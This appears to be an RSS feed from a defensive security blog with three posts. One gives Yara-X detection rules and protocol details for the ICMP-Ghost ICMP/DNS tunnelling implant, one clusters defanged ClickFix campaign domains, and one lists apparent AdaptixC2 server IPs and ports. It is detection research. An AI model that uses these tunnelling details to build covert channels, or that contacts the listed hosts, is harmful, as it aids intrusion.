<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[Netomize Official Blog]]></title><description><![CDATA[Netomize is a defensive cybersecurity consultancy provider.]]></description><link>https://blog.netomize.ca</link><image><url>https://cdn.hashnode.com/res/hashnode/image/upload/v1770828794671/5f79da1b-6a05-4077-af3c-b5c3a6a5dd1e.png</url><title>Netomize Official Blog</title><link>https://blog.netomize.ca</link></image><generator>RSS for Node</generator><lastBuildDate>Sun, 16 Aug 2026 11:50:48 GMT</lastBuildDate><atom:link href="https://blog.netomize.ca/rss.xml" rel="self" type="application/rss+xml"/><language><![CDATA[en]]></language><ttl>60</ttl><item><title><![CDATA[Detect ICMP-Ghost Implant ICMP and DNS Tunnelling C2 Traffic Using PacketSmith Yara-X & ICMP Detection Modules]]></title><description><![CDATA[Introduction
ICMP-Ghost is an open-source tunnelling framework written in pure x64 assembly. What stands out about this framework, compared to other closed- and open-source ones, is the author's claim]]></description><link>https://blog.netomize.ca/detect-icmp-ghost-implant-icmp-and-dns-tunnelling-c2-traffic-using-packetsmith-yara-x-icmp-detection-modules</link><guid isPermaLink="true">https://blog.netomize.ca/detect-icmp-ghost-implant-icmp-and-dns-tunnelling-c2-traffic-using-packetsmith-yara-x-icmp-detection-modules</guid><category><![CDATA[packetsmith]]></category><category><![CDATA[icmp]]></category><category><![CDATA[dns]]></category><category><![CDATA[yara-x]]></category><category><![CDATA[detection engineering ]]></category><category><![CDATA[tra]]></category><category><![CDATA[PCAP]]></category><category><![CDATA[icmp-ghost]]></category><category><![CDATA[tunnelling]]></category><dc:creator><![CDATA[Netomize Official Blog]]></dc:creator><pubDate>Fri, 14 Aug 2026 14:30:59 GMT</pubDate><content:encoded><![CDATA[<h1>Introduction</h1>
<p><a href="https://github.com/JM00NJ/ICMP-Ghost-A-Fileless-x64-Assembly-C2-Agent">ICMP-Ghost</a> is an open-source tunnelling framework written in pure x64 assembly. What stands out about this framework, compared to other closed- and open-source ones, is the author's claims about its EDR evasion and Suricata IDS/IPS evasion capabilities. The framework supports a dual-channel C2 architecture (despite the exclusivity of the "ICMP" in the framework title), including ICMPv4 and DNS, with the ability to switch between them on the fly. The author makes some grandiose claims about its architecture and design with respect to performance, efficiency, endpoint and network evasion, and memory footprint.</p>
<p>Despite the author's claims, in this article, we detail the structures of each of the C2 protocols, along with PacketSmith Yara-X detection module rules for detecting the traffic of both C2 channels.</p>
<h1>ICMPv4 Tunnelling</h1>
<p>ICMP-Ghost ICMP tunnelling channel uses the Echo Request (<strong>type</strong>: 8, <strong>code</strong>: 0) and Reply (<strong>type</strong>: 0, <strong>code</strong>: 0) packets.</p>
<h2>ICMP Echo Request Packet</h2>
<p>The structure of the ICMP Echo Request Packet is as follows:</p>
<table>
<thead>
<tr>
<th>Offset</th>
<th>Length</th>
<th>Description</th>
</tr>
</thead>
<tbody><tr>
<td>0x00</td>
<td>0x08</td>
<td>RDTSC value</td>
</tr>
<tr>
<td>0x08</td>
<td>0x0F</td>
<td>Padding</td>
</tr>
<tr>
<td>0x18</td>
<td>0x38</td>
<td>Rolling-XOR encrypted data (chunk size 56 bytes)</td>
</tr>
</tbody></table>
<p>The ICMP Identifier and Sequence numbers are mathematically linked and used for asymmetric authentication to ensure that the packet received belongs to ICMP-Ghost, and in case the packet is not successfully validated, the packet is dropped. This relationship is established as follows:</p>
<p>The sum of the Identifier and the Sequence numbers has to be equal to 45000.</p>
<p>$$(Identifier + Sequence) == 45000 \ | \ Identifier \in [10000, 29999)$$</p>
<p>So, with the established conditions, the next question should be: what's the valid range of the Sequence number with respect to the rest of the constraints? This could be derived as follows:</p>
<p>$$Sequence = Identifier - 45000$$</p>
<p>$$\left|\begin{array}{l} \ if\ id = 10,000 \to seq = 35000 \ \ if\ id = 29,999 \to seq = 15001 \end{array}\right.$$</p>
<p>$$\therefore \ \ 15001 &lt;= Sequence &lt;= 35000$$</p>
<p>We'll leverage these constraints and relationships to enforce the values on the specified ICMP headers to harden the detection logic and detect ICMP-Ghost traffic.</p>
<p>The RDTSC value is dynamically generated per packet. There's a caveat about how the RDTSC value is computed in the code:</p>
<pre><code class="language-c">    cld
    lea rdi, [rbp + 0x100 + 32]     ; Write data after 8 (Header) + 24 (Mimicry)
    xor al, al                      
    mov rcx, 56                   
    rep stosb                       
    ; Update dynamic timestamp for stealth
    rdtsc                           
    mov [rbp + 0x100 + 8], rax
</code></pre>
<p>Only the low 32 bits are accounted for (<code>rax</code>), and effectively the high 32-bits are always zeros. We enforce this condition in the rule as follows:</p>
<p><code>uint32be(idata + 4) == 0x00000000 // rdtsc high 32-bits</code></p>
<p>The padding is hardcoded in the code, mimicking the Linux ICMP 16 bytes [0x01 - 0x1f].</p>
<p>The control command data is rolling-XOR encrypted with the fixed key 0x42 as the seed, adding 0x07 to it for every subsequent byte.</p>
<p>The following is a screenshot of the actual packet sent by the client to the server:</p>
<img src="https://cdn.hashnode.com/uploads/covers/698bbaaf2b3404faadd9aff8/ed5eeb93-c221-4cfe-8984-2dfc0e2950fa.png" alt="" style="display:block;margin:0 auto" />

<p>The following PacketSmith Yara-X detection rule detects the ICMPv4 Echo request packet, checking for all the aforementioned indicators irrespective of any fixed indicators, except for the padding characters. This rule uses the Pattern Identifier <code>icmp4</code>.</p>
<pre><code class="language-javascript">rule icmp_ghost_implant_icmp_echo_request_c2_detection
{ 
	meta:
	
	  description = "Detect ICMP-Ghost ICMP Echo Request C2 traffic"
	  reference   = """https://github.com/JM00NJ/ICMP-Ghost-A-Fileless-x64-Assembly-C2-Agent
					   https://netacoding.com/posts/icmp-ghost/
	                """
	  filter      = "Frames (frames:)"
	  author      = "Netomize"
	  date        = "08/11/2026"
	  
	strings:
	
	  $padding = { 10 11 12 13 14 15 16 17 18 19 1a 1b 1c 1d 1e 1f }

	condition:

	  ip4.is_set and not ip4.in_ip6
	  and
	  icmp4.is_set and icmp4.type == 0x08 and icmp4.code == 0x00	  
	  and
	  with ident_num = uint16be(icmp4.data.offset), seq_num = uint16be(icmp4.data.offset+2), 
	       idata = icmp4.data.offset + 4, isize = icmp4.data.size :
	  (
	    // data is rolling XOR encrypted
	    isize &gt;= 28 + 56 // (28 -&gt; ident, seq, rdtsc value and the padding bytes) + (56 -&gt; chunk size)
		and
		math.in_range(ident_num, 10000, 29999) 
		and
		math.in_range(seq_num, 15001, 35000) 
		and
		(ident_num + seq_num == 45000) // asymmetric authentication
		and
		uint32be(idata + 4) == 0x00000000 // rdtsc high 32-bits
		and
	    $padding at (idata + 8) // + 8 -&gt; skipping over the rdtsc value
	  )
}
</code></pre>
<h2>ICMP Echo Reply Packet</h2>
<p>For the ICMP echo reply packet, ICMP-Ghost uses the same structure to construct the packet, except for the following differences:</p>
<ol>
<li><p>The relationship between the Identifier number and the Sequence numbers is such that the sum of both has to be equal to 55000.</p>
</li>
<li><p>The data after the padding characters is <a href="https://github.com/JM00NJ/Vesqer-Baremetal-Compressor-DPCM-RLE-Hybrid-Engine">VESQER</a> compressed and rolling-XOR encrypted with the same algorithm and constants as that of the Echo request packet.</p>
</li>
</ol>
<p>The structure of the ICMP Echo Reply Packet is as follows:</p>
<table>
<thead>
<tr>
<th>Offset</th>
<th>Length</th>
<th>Description</th>
</tr>
</thead>
<tbody><tr>
<td>0x00</td>
<td>0x08</td>
<td>RDTSC value</td>
</tr>
<tr>
<td>0x08</td>
<td>0x0F</td>
<td>Padding</td>
</tr>
<tr>
<td>0x18</td>
<td>Variable</td>
<td>Rolling-XOR encrypted and VESQER compressed data</td>
</tr>
</tbody></table>
<p>The sum of the Identifier and the Sequence numbers has to be equal to 55000.</p>
<p>$$(Identifier + Sequence) == 55000 \ | \ Identifier \in [10000, 29999)$$</p>
<p>So, with the established conditions, the next question should be: what's the valid range of the Sequence number with respect to the rest of the constraints? This could be derived as follows:</p>
<p>$$Sequence = 55000 - Identifier$$</p>
<p>$$\left|\begin{array}{l} \ if\ id = 10,000 \to seq = 45000 \ \ if\ id = 29,999 \to seq = 25001 \end{array}\right.$$</p>
<p>$$\therefore \ \ 25001 &lt;= Sequence &lt;= 45000$$</p>
<p>We'll leverage these constraints and relationships to enforce the values on the specified ICMP headers to harden the detection logic and detect ICMP-Ghost traffic.</p>
<p>The following is a screenshot of the actual packet sent by the server to the client:</p>
<img src="https://cdn.hashnode.com/uploads/covers/698bbaaf2b3404faadd9aff8/06c29f38-63c4-4b7f-beb6-dcbe55ca6c02.png" alt="" style="display:block;margin:0 auto" />

<p>The following PacketSmith Yara-X detection rule detects the ICMPv4 Echo reply packet, checking for all the aforementioned indicators irrespective of any fixed indicators, except for the padding characters. This rule uses the Pattern Identifier <code>icmp4</code>.</p>
<pre><code class="language-javascript">rule icmp_ghost_implant_icmp_echo_reply_ctrl_cmd_c2_detection
{ 
	meta:
	
	  description = "Detect ICMP-Ghost ICMP Echo Reply C2 control command traffic"
	  reference   = """https://github.com/JM00NJ/ICMP-Ghost-A-Fileless-x64-Assembly-C2-Agent
					   https://netacoding.com/posts/icmp-ghost/
	                """
	  filter      = "Frames (frames:)"
	  author      = "Netomize"
	  date        = "08/11/2026"
	  
	strings:
	
	  $padding = { 10 11 12 13 14 15 16 17 18 19 1a 1b 1c 1d 1e 1f }

	condition:

	  ip4.is_set and not ip4.in_ip6
	  and
	  icmp4.is_set and icmp4.type == 0x00 and icmp4.code == 0x00	  
	  and
	  with ident_num = uint16be(icmp4.data.offset), seq_num = uint16be(icmp4.data.offset+2), 
	       idata = icmp4.data.offset + 4, isize = icmp4.data.size :
	  (
	    isize &gt; 28 + 10 // data is rolling XOR encrypted and VESQER compressed
		and
		math.in_range(ident_num, 10000, 29999) 
		and
		math.in_range(seq_num, 25001, 45000)
		and
		ident_num + seq_num == 55000 // asymmetric authentication
		and
		uint32be(idata + 4) == 0x00000000 // rdtsc high 32-bits
		and
	    $padding at (idata + 8) // + 8 -&gt; skipping over the rdtsc value
	  )
}
</code></pre>
<h1>DNS Tunnelling</h1>
<p>In addition to the ICMP Echo tunnelling channel, ICMP-Ghost supports DNS tunnelling, but not in the traditional sense of how DNS tunnelling works. The whole DNS Query packet is constructed byte-by-byte over UDP. There's no DNS Response packet from server-to-client; it is a Query packet in both directions. It's attempting to mimic the structure of a DNS query packet.</p>
<p>This is an example of a DNS query packet sent by ICMP-Ghost:</p>
<img src="https://cdn.hashnode.com/uploads/covers/698bbaaf2b3404faadd9aff8/e0b357b3-8875-4f64-b52f-d7692e4be6d8.png" alt="" style="display:block;margin:0 auto" />

<p>Similar to the ICMP asymmetric authentication, the DNS channel employs a similar one, based on the <strong>Transaction ID</strong> (<strong>TransID</strong>), with the constraint:</p>
<p>$$TransID(HighByte) + TransID(LowByte) = 0xff$$</p>
<p>For example, the <strong>TransID</strong> of 0xe01f shown in the screenshot above:</p>
<p>$$0xe0 + 0x1f == 0xff$$</p>
<p>The <strong>TransID</strong> is dynamically generated per packet.</p>
<p>The Flags, Questions, Answer RRs, Authority RRs and Additional RRs values are hardcoded in both directions. Moreover, the query is fixed to <code>type A</code>, <code>class IN</code>, with the author claiming that this is meant to blend with normal DNS traffic.</p>
<p>The tunnelled data is passed in the query name, and in the first segment/label/subdomain only, up to a max of 56 characters, base32 encoded (DNS chunk size is 35 bytes before encoding), consisting of the character class [a-z2-7]. The data is <a href="https://github.com/JM00NJ/Vesqer-Baremetal-Compressor-DPCM-RLE-Hybrid-Engine">VESQER</a> compressed and rolling-XOR encrypted with the same algorithm and constants as that of the Echo request packet, barring these differences between the client-to-server query packet and server-to-client query packet:</p>
<ul>
<li><p>From client-to-server, the data is rolling-XOR encrypted and base32 encoded.</p>
</li>
<li><p>From server-to-client, the data is <a href="https://github.com/JM00NJ/Vesqer-Baremetal-Compressor-DPCM-RLE-Hybrid-Engine">VESQER</a> compressed, rolling-XOR encrypted and finally base32 encoded.</p>
</li>
</ul>
<p>The second-level-domain and top-level domain are dynamically indexed per request, from a list of hardcoded benign domain names: github.com, microsoft.com, cloudflare.com, google.com and windows.com.</p>
<p>A potential PacketSmith Yara-X rule would account for all the aforementioned indicators. Moreover, with respect to the subdomain length, although some query packets might contain less than 56 characters, we instead fix it to 56 characters to avoid potential false positives at the expense of some false negatives.</p>
<p>This rule uses PacketSmith Yara-X Pattern Identifier <code>dns</code>.</p>
<pre><code class="language-javascript">rule icmp_ghost_implant_dns_query_c2_detection
{
    meta:
	
      description = "Detect ICMP-Ghost DNS Query C2 control command traffic"
	  reference   = """https://github.com/JM00NJ/ICMP-Ghost-A-Fileless-x64-Assembly-C2-Agent
					   https://netacoding.com/posts/icmp-ghost/
	                """	  
      filter      = "Frames (frames:)"
      author      = "Netomize"
      date        = "08/11/2026"
	  		
    condition:
	
	udp.is_set and dns.is_set	
	and 
	((dns.id &gt;&gt; 8) + (dns.id &amp; 0xff)) == 0xff // asymmetric authentication
	and 
	not dns.flag.response 
	and 
	dns.flag.opcode == 0
	and 
	not dns.flag.truncated 
	and 
	dns.flag.recdesired 
	and 
	not dns.flag.z
	and 
	not dns.flag.authenticated
	and
	dns.count.queries == 1
	and
	dns.count.ansr_rr == 0
	and
	dns.count.auth_rr == 0
	and
	dns.count.addi_rr == 0
	and
	// Type: A (1) (Host Address); Class: IN (0x0001)
	dns.qry[0].type == 1 and dns.qry[0].class == 1
	and	
	// ex., mjffavtomskxfamakshkfhfevk33qb6cz3ko7yxl6ak74fim3amsekae.github.com
	with qry_name = dns.qry[0].name, nlabels = qry_name.labels.total :
	(
		// minimum query name length (worst-case scenario)
		// and number of labels/segments &gt; 2
		string.length(qry_name.qname) &gt; 60 and nlabels &gt; 2
		and
		with first_seg = qry_name.labels.segments[0]:
		(
			string.length(first_seg) == 56
			and
			first_seg matches /^[a-z2-7]{56}$/
		)
	)
}
</code></pre>
<p>The above rule uses the <code>dns</code> PaID with the assumption that the DNS traffic is over port 53, but since the packet is a mimic of a DNS Query packet, the user is at liberty to use any other port, thereby rendering the DNS dissector unable to parse it. ICMP-Ghost's default DNS port for testing is set to 5300, and recommended to switch to 53 for production.</p>
<p>Although it is possible to add another port to the DNS dissector, for PacketSmith to recognize it as a DNS packet in the configuration file under the <strong>[dns]</strong> section, key <strong>udp_ports</strong>, it is not possible to know beforehand what port this packet will use, therefore, it is prudent to write another rule that attempts to check for the same indicators using the raw <code>udp</code> PaID, port independent, as follows:</p>
<pre><code class="language-javascript">rule icmp_ghost_implant_dns_udp_query_c2_detection
{
    meta:
	
      description = "Detect ICMP-Ghost DNS UDP Query C2 control command traffic"
	  reference   = """https://github.com/JM00NJ/ICMP-Ghost-A-Fileless-x64-Assembly-C2-Agent
					   https://netacoding.com/posts/icmp-ghost/
	                """	  
      filter      = "Frames (frames:)"
      author      = "Netomize"
      date        = "08/11/2026"
	  		
    strings:
		// flags, questions, answer rrs, authority rrs, additional rrs
		$dheader    = { 01 00 00 01 00 00 00 00 00 00 }
		$qname_rgx  = /[a-z2-7]/
		$type_class = { 00 00 01 00 01 }
	
	condition:
	
		udp.is_set
		and 
		with udata = udp.data.offset, qname = udp.data.offset + 12, usize = udp.data.size :
		(
			// asymmetric authentication
			((uint16be(udata) &gt;&gt; 8) + (uint16be(udata) &amp; 0xff)) == 0xff
			and
			$dheader at (udata + 2)
			and
			// get qname length
			uint8(qname) == 56
			and
			// check subdomain character set
			$qname_rgx in (qname + 1 .. qname + 1 + uint8(qname))
			and
			// check end of label, type and class in reverse
			$type_class at (udata + usize - 5)
		)	
}
</code></pre>
<p>This is possible because most of the UDP packet structure is fixed, except for the query name.</p>
<p>For reference, all rules mentioned in this article are available at the official GitHub repo <a href="https://github.com/Netomize/RFiles/blob/main/icmp-ghost.yar">RFiles</a>.</p>
<h1>ICMP Detection Module</h1>
<p>As detailed in a dedicated article on the official website of PacketSmith, "<a href="https://packetsmith.ca/detect_icmp_echo_malicious_traffic/"><strong>Detect Suspicious/Malicious ICMP Echo Traffic</strong></a>", PacketSmith employs its own ICMPv4/v6 detection engine that attempts to detect suspicious/malicious ICMP Echo traffic using behavioural and protocol semantic analysis. And this framework's ICMP traffic is the perfect candidate to test it once again, absent any specific detection rule.</p>
<p>Running the ICMP-Ghost pcap against the PacketSmith ICMP detection module, we get the following output:</p>
<table>
<thead>
<tr>
<th>ID</th>
<th>Type</th>
<th>Verdict</th>
</tr>
</thead>
<tbody><tr>
<td><strong>1</strong></td>
<td>Echo requests with more than one reply</td>
<td>not found</td>
</tr>
<tr>
<td><strong>2</strong></td>
<td>ICMP sequence number not incrementing by 1</td>
<td>not found</td>
</tr>
<tr>
<td><strong>3</strong></td>
<td>Echo request/reply packets data mismatch</td>
<td>not found</td>
</tr>
<tr>
<td><strong>4</strong></td>
<td>Time series analysis (&gt; 2 pkts per second)</td>
<td><mark class="bg-yellow-200 dark:bg-yellow-500/30">suspicious</mark></td>
</tr>
<tr>
<td><strong>5</strong></td>
<td>Number of echo requests less than 3</td>
<td><mark class="bg-yellow-200 dark:bg-yellow-500/30">suspicious</mark></td>
</tr>
<tr>
<td><strong>6</strong></td>
<td>Echo requests with no replies</td>
<td>not found</td>
</tr>
<tr>
<td><strong>7</strong></td>
<td>Istream starts with a reply packet</td>
<td><mark class="bg-yellow-200 dark:bg-yellow-500/30">malicious</mark></td>
</tr>
<tr>
<td><strong>8</strong></td>
<td>Payload size is greater than 64 bytes</td>
<td><mark class="bg-yellow-200 dark:bg-yellow-500/30">suspicious</mark></td>
</tr>
</tbody></table>
<p>The details of each of the types are omitted for brevity. Note that considering how ICMP-Ghost ICMP traffic is replayed, certain anomalies are bound to show up. For example, when tunnelling an Echo Request packet, first the system's ICMP network stack responds with the same packet's data payload as an Echo Reply packet using the same sequence and identifier numbers, and the second Echo Reply packet is the tunnelling packet carrying the results of a given command, but using different identifier and sequence numbers.</p>
<img src="https://cdn.hashnode.com/uploads/covers/698bbaaf2b3404faadd9aff8/cdd47e16-cb94-412c-96c1-08519a5cc1b3.png" alt="" style="display:block;margin:0 auto" />

<p>As shown in the above screenshot, packet 7, the Reply packet to packet 5, starts a new <strong>istream</strong> since it uses different sequence and identifier numbers.</p>
<h1>Conclusion</h1>
<p>In this article, we dissected the command and control structure of the open-source framework ICMP-Ghost for both the ICMP and DNS tunnelling channels. Contrary to the claims made by the author about its IDS/IPS evasion capabilities, we managed to write powerful and efficient PacketSmith Yara-X detection module rules to detect the C&amp;C traffic of both channels.</p>
<hr />
<p>Mohamad Mokbel</p>
<p>August 14, 2026</p>
]]></content:encoded></item><item><title><![CDATA[Clustering macOS ClickFix Campaign Webpages Using the HTTP-Basma Fingerprinting Algorithm]]></title><description><![CDATA[Introduction
On August 5, 2026, the Microsoft Security Research Team (MSRT) blogged about a new macOS ClickFix campaign titled From open lures to cloaked gates: How a macOS ClickFix campaign learned t]]></description><link>https://blog.netomize.ca/clustering-macos-clickfix-campaign-webpages-using-the-http-basma-fingerprinting-algorithm</link><guid isPermaLink="true">https://blog.netomize.ca/clustering-macos-clickfix-campaign-webpages-using-the-http-basma-fingerprinting-algorithm</guid><category><![CDATA[http-basma]]></category><category><![CDATA[Clickfix]]></category><category><![CDATA[fingerprinting]]></category><category><![CDATA[http]]></category><category><![CDATA[clustering]]></category><dc:creator><![CDATA[Netomize Official Blog]]></dc:creator><pubDate>Thu, 06 Aug 2026 16:54:44 GMT</pubDate><content:encoded><![CDATA[<h1>Introduction</h1>
<p>On August 5, 2026, the Microsoft Security Research Team (MSRT) blogged about a new macOS ClickFix campaign titled <a href="https://www.microsoft.com/en-us/security/blog/2026/08/05/macos-clickfix-campaign-learned-hide/">From open lures to cloaked gates: How a macOS ClickFix campaign learned to hide</a>.</p>
<p>What's unique about this campaign is the use of TDS and fingerprinting gates to decide whether to serve the malicious page to the target user, luring the user into downloading the infostealers MacSync and Atomic Stealer (AMOS). This campaign uses groups of domain names with similar naming conventions.</p>
<p>The MSRT team shared 17 of those domains, listed here for reference:</p>
<pre><code class="language-plaintext">applefilevault[.]com
apricotfilepoint[.]com 
bananafastfile[.]com
cloudfilebridge[.]com
filecedarwallet[.]online
filecopperbasket[.]sbs
filecrimsonsignal[.]online
filemarblegarden[.]sbs
fileoceanhammer[.]sbs
filerubyfolder[.]sbs
filevelvettractor[.]sbs
lemonfilewave[.]com
limefilescope[.]com
mangocloudfile[.]com
orangesmartfile[.]com
syncdatavault[.]com
cloudsendhub[.]com
</code></pre>
<h1>Servers Fingerprints</h1>
<p>This campaign serves as a good case study for using <a href="https://httpbasma.netomize.ca/">HTTP-Basma</a> for HTTP server fingerprinting and the clustering of those fingerprints.</p>
<p>We've already submitted those domains to <a href="https://httpbasma.netomize.ca/">https://httpbasma.netomize.ca/</a> for fingerprinting, and as a result, we get 3 (actually 2) unique clusters:</p>
<ul>
<li><p><strong>Cluster A</strong> - [<strong>15</strong>] Verbosus fingerprint: 01140a85e40014514bd522142494d672140a85e4721420958a220c0c140a85e4720000001609</p>
<ul>
<li>applefilevault[.]com apricotfilepoint[.]com bananafastfile[.]com cloudfilebridge[.]com filecedarwallet[.]online filecopperbasket[.]sbs filemarblegarden[.]sbs filerubyfolder[.]sbs filevelvettractor[.]sbs lemonfilewave[.]com limefilescope[.]com mangocloudfile[.]com orangesmartfile[.]com syncdatavault[.]com cloudsendhub[.]com</li>
</ul>
</li>
<li><p><strong>Cluster B</strong> - [<strong>1</strong>] Verbosus fingerprint: 01140a85e40014514bd522142494d672140a85e4721420958a22000c140a85e4720000001609</p>
<ul>
<li>fileoceanhammer[.]sbs</li>
</ul>
</li>
<li><p><strong>Cluster C</strong> - [<strong>1</strong>] Verbosus fingerprint: 0100000000000000000000000000000000000000000000000000000000000000000000000000</p>
<ul>
<li>filecrimsonsignal[.]online</li>
</ul>
</li>
</ul>
<h1>Clustering</h1>
<p>As shown above, <strong>cluster C</strong> indicates a dead domain. <strong>Cluster A</strong> contains the majority of the domains (15), and <strong>cluster B</strong> consists of 1 domain. Now, you might be asking yourself, what's the difference between <strong>cluster A</strong> and <strong>cluster B</strong> verbosus fingerprints? They look very similar, but it is not possible to tell the actual difference at the probe or field level just by comparing them one byte at a time; For that, we use the Compare function available under <a href="https://httpbasma.netomize.ca/#compare">https://httpbasma.netomize.ca/#compare</a> to compare the two fingerprints, placing them next to each other, ':' separated.</p>
<p>The following screenshot shows the actual difference at the probe and field level, and, as shown, it is probe P6F (GET Request — Accept-Encoding, Full); Meaning, for <strong>cluster A</strong>, the server returned an actual value for this probe, which maps to the fingerprint 0c, whereas for <strong>cluster B</strong>, the server returned no value, indicated by the fingerprint 00.</p>
<img src="https://cdn.hashnode.com/uploads/covers/698bbaaf2b3404faadd9aff8/f0510232-d2d9-47ca-86a3-6a79975a1315.png" alt="" style="display:block;margin:0 auto" />

<p>In JSON format:</p>
<pre><code class="language-json">[
  {
    "fp1": "01140a85e40014514bd522142494d672140a85e4721420958a220c0c140a85e4720000001609",
    "fp2": "01140a85e40014514bd522142494d672140a85e4721420958a22000c140a85e4720000001609",
    "result": "not_equal",
    "p6f": {
      "content_encoding": {
        "fp1": "0c",
        "fp2": "00"
      }
    }
  }
]
</code></pre>
<p>In case you're curious about what the FP 0c decodes to, you could use the Demangle feature <a href="https://httpbasma.netomize.ca/#demangle">https://httpbasma.netomize.ca/#demangle</a>, using the newly implemented graph feature to visualize it as a graph:</p>
<img src="https://cdn.hashnode.com/uploads/covers/698bbaaf2b3404faadd9aff8/454ccf10-42ae-456a-8926-f4e52a23fb66.svg" alt="" style="display:block;margin:0 auto" />

<p>Therefore, the fingerprint 0c demangles to the content-encoding type <strong>zstd</strong> returned by the server for the probe p6f.</p>
<h1>DB-Match (The Majestic Million HTTP-Basma DB)</h1>
<p>Now that we have all the fingerprints clustered, the next step would be to check for potential false positives in the Majestic Million HTTP-Basma database for servers that share a given fingerprint, which you could access via <a href="https://httpbasma.netomize.ca/#dbmatch">https://httpbasma.netomize.ca/#dbmatch</a>. Searching for <strong>Cluster A</strong> and <strong>Cluster B</strong> verbosus fingerprints yields no matches.</p>
<h1>Conclusion</h1>
<p>In this blog post, we used the HTTP-Basma platform for fingerprinting newly disclosed macOS ClickFix campaign webpages. Additionally, we highlighted some of the platform's capabilities to cluster those fingerprints, compare them and demangle them.</p>
<hr />
<p>Mohamad Mokbel</p>
<p>August 06, 2026</p>
]]></content:encoded></item><item><title><![CDATA[HTTP-Basma - Clustering Verbosus Fingerprints]]></title><description><![CDATA[The design and architecture of the verbosus fingerprint (vfp) in HTTP-Basma allows for deeper inspection of every field of every probe. The reversibility property of the fingerprint coupled with the d]]></description><link>https://blog.netomize.ca/http-basma-clustering-verbosus-fingerprints</link><guid isPermaLink="true">https://blog.netomize.ca/http-basma-clustering-verbosus-fingerprints</guid><category><![CDATA[http-basma]]></category><category><![CDATA[clustering]]></category><category><![CDATA[maximal-clique]]></category><category><![CDATA[havoc2]]></category><category><![CDATA[AdaptixC2]]></category><category><![CDATA[http]]></category><category><![CDATA[https]]></category><category><![CDATA[fingerprinting]]></category><dc:creator><![CDATA[Netomize Official Blog]]></dc:creator><pubDate>Tue, 14 Jul 2026 15:45:19 GMT</pubDate><content:encoded><![CDATA[<p>The design and architecture of the verbosus fingerprint (<strong>vfp</strong>) in HTTP-Basma allows for deeper inspection of every field of every probe. The reversibility property of the fingerprint coupled with the demanlging feature open the door for granular clustering, for grouping similar HTTP(S) servers at specific distances, despite certain differences in the <strong>vfp</strong>. For more information about how the algorithm works, the source code, and release binaries, check the official <a href="https://github.com/Netomize/HTTP-Basma">public GitHub repository</a>.</p>
<p>A live version of HTTP-Basma is already available at <a href="https://httpbasma.netomize.ca/#cluster">https://httpbasma.netomize.ca/#cluster</a>, with all the clustering features that we'll discuss in this blog post.</p>
<h1>Cluster by Tags</h1>
<p>The first clustering option is the cluster by tags, to group the database servers that match your tags by their <strong>vfp</strong>. Each cluster is one unique fingerprint shared by a set of servers, a quick way to see which infrastructure a campaign reuses. It is all unique <strong>vfps</strong> per x tag(s).</p>
<p>The platform provides the option to query all unique tags in the live db with their occurrences that you could use to filter against for clustering, as shown in the following screenshot:</p>
<img src="https://cdn.hashnode.com/uploads/covers/698bbaaf2b3404faadd9aff8/fec7c702-f9aa-479b-85e9-4c030894d08d.png" alt="" style="display:block;margin:0 auto" />

<p>This works by clicking on the <em>Get all unique tags</em> button, with the option to drill down into individual tags using the <em>Filter tags</em> box. The SERVERS column shows the total number of servers that share this tag. You may populate the TAGS input box by clicking on any of the listed tags, with the possibility to add more than one tag, and choosing the proper matching (MATCH) operator for your use case.</p>
<p>It is suggested that you leave the MAX CLUSTERS and MAX SERVERS/CLUSTER input boxes set to 0 so that you get all the possible clusters in return, with all servers per clusters, and some additional metadata. Explore the interface to get a sense of all the provided capabilities.</p>
<p>And to cluster by the provided tag(s), click on the <em>Cluster by tags</em> button. For example, if we cluster by the tag <a href="https://github.com/Adaptix-Framework/AdaptixC2"><strong>adaptixc2</strong></a>, an advanced redteam toolkit, we get the following two clusters (as of July 14, 2026):</p>
<table>
<thead>
<tr>
<th>Servers</th>
<th>Verbosus fingerprints</th>
</tr>
</thead>
<tbody><tr>
<td><code>11</code></td>
<td><code>01142494d60014512f3612142494d622142494d622142494d6220000142494d6220000000001</code></td>
</tr>
<tr>
<td><code>6</code></td>
<td><code>0100000000000000000000000000000000000000000000000000000000000000000000000000</code></td>
</tr>
</tbody></table>
<p>You may drill down into any of the listed clusters for additional metadata, by clicking on the cluster's <strong>vfp</strong>.</p>
<p>And here's the full JSON output, containing all the servers that belong to each of the clusters:</p>
<pre><code class="language-json">{
  "tags": [
    "adaptixc2"
  ],
  "total_clusters": 2,
  "clusters": [
    {
      "fp_verbosus": "0100000000000000000000000000000000000000000000000000000000000000000000000000",
      "total_servers": 6,
      "servers": [
        {
          "server": "89.125.255.29",
          "path": "",
          "port": 4321,
          "is_ssl": true
        },
        {
          "server": "38.147.173.24",
          "path": "",
          "port": 8562,
          "is_ssl": true
        },
        {
          "server": "156.225.22.201",
          "path": "",
          "port": 1337,
          "is_ssl": true
        },
        {
          "server": "202.95.8.92",
          "path": "",
          "port": 4321,
          "is_ssl": true
        },
        {
          "server": "146.70.87.96",
          "path": "",
          "port": 443,
          "is_ssl": true
        },
        {
          "server": "146.70.87.237",
          "path": "",
          "port": 443,
          "is_ssl": true
        }
      ]
    },
    {
      "fp_verbosus": "01142494d60014512f3612142494d622142494d622142494d6220000142494d6220000000001",
      "total_servers": 11,
      "servers": [
        {
          "server": "llmscience.top",
          "path": "",
          "port": 4321,
          "is_ssl": true
        },
        {
          "server": "4.236.165.30",
          "path": "",
          "port": 4321,
          "is_ssl": true
        },
        {
          "server": "8.136.13.87",
          "path": "",
          "port": 7001,
          "is_ssl": true
        },
        {
          "server": "20.157.116.151",
          "path": "",
          "port": 8000,
          "is_ssl": true
        },
        {
          "server": "23.95.220.192",
          "path": "",
          "port": 43999,
          "is_ssl": true
        },
        {
          "server": "185.190.142.66",
          "path": "",
          "port": 4321,
          "is_ssl": true
        },
        {
          "server": "2.26.229.254",
          "path": "",
          "port": 4433,
          "is_ssl": true
        },
        {
          "server": "23.227.203.205",
          "path": "",
          "port": 443,
          "is_ssl": true
        },
        {
          "server": "38.132.122.145",
          "path": "",
          "port": 443,
          "is_ssl": true
        },
        {
          "server": "91.132.161.21",
          "path": "",
          "port": 443,
          "is_ssl": true
        },
        {
          "server": "23.227.203.191",
          "path": "",
          "port": 443,
          "is_ssl": true
        }
      ]
    }
  ],
  "total_servers_all_clusters": 17
}
</code></pre>
<p>The <strong>vfp</strong> with all zeros represent dead servers, where the server failed to return any data for all the probes. Or, it could be that the server was down at the time of fingerprinting it.</p>
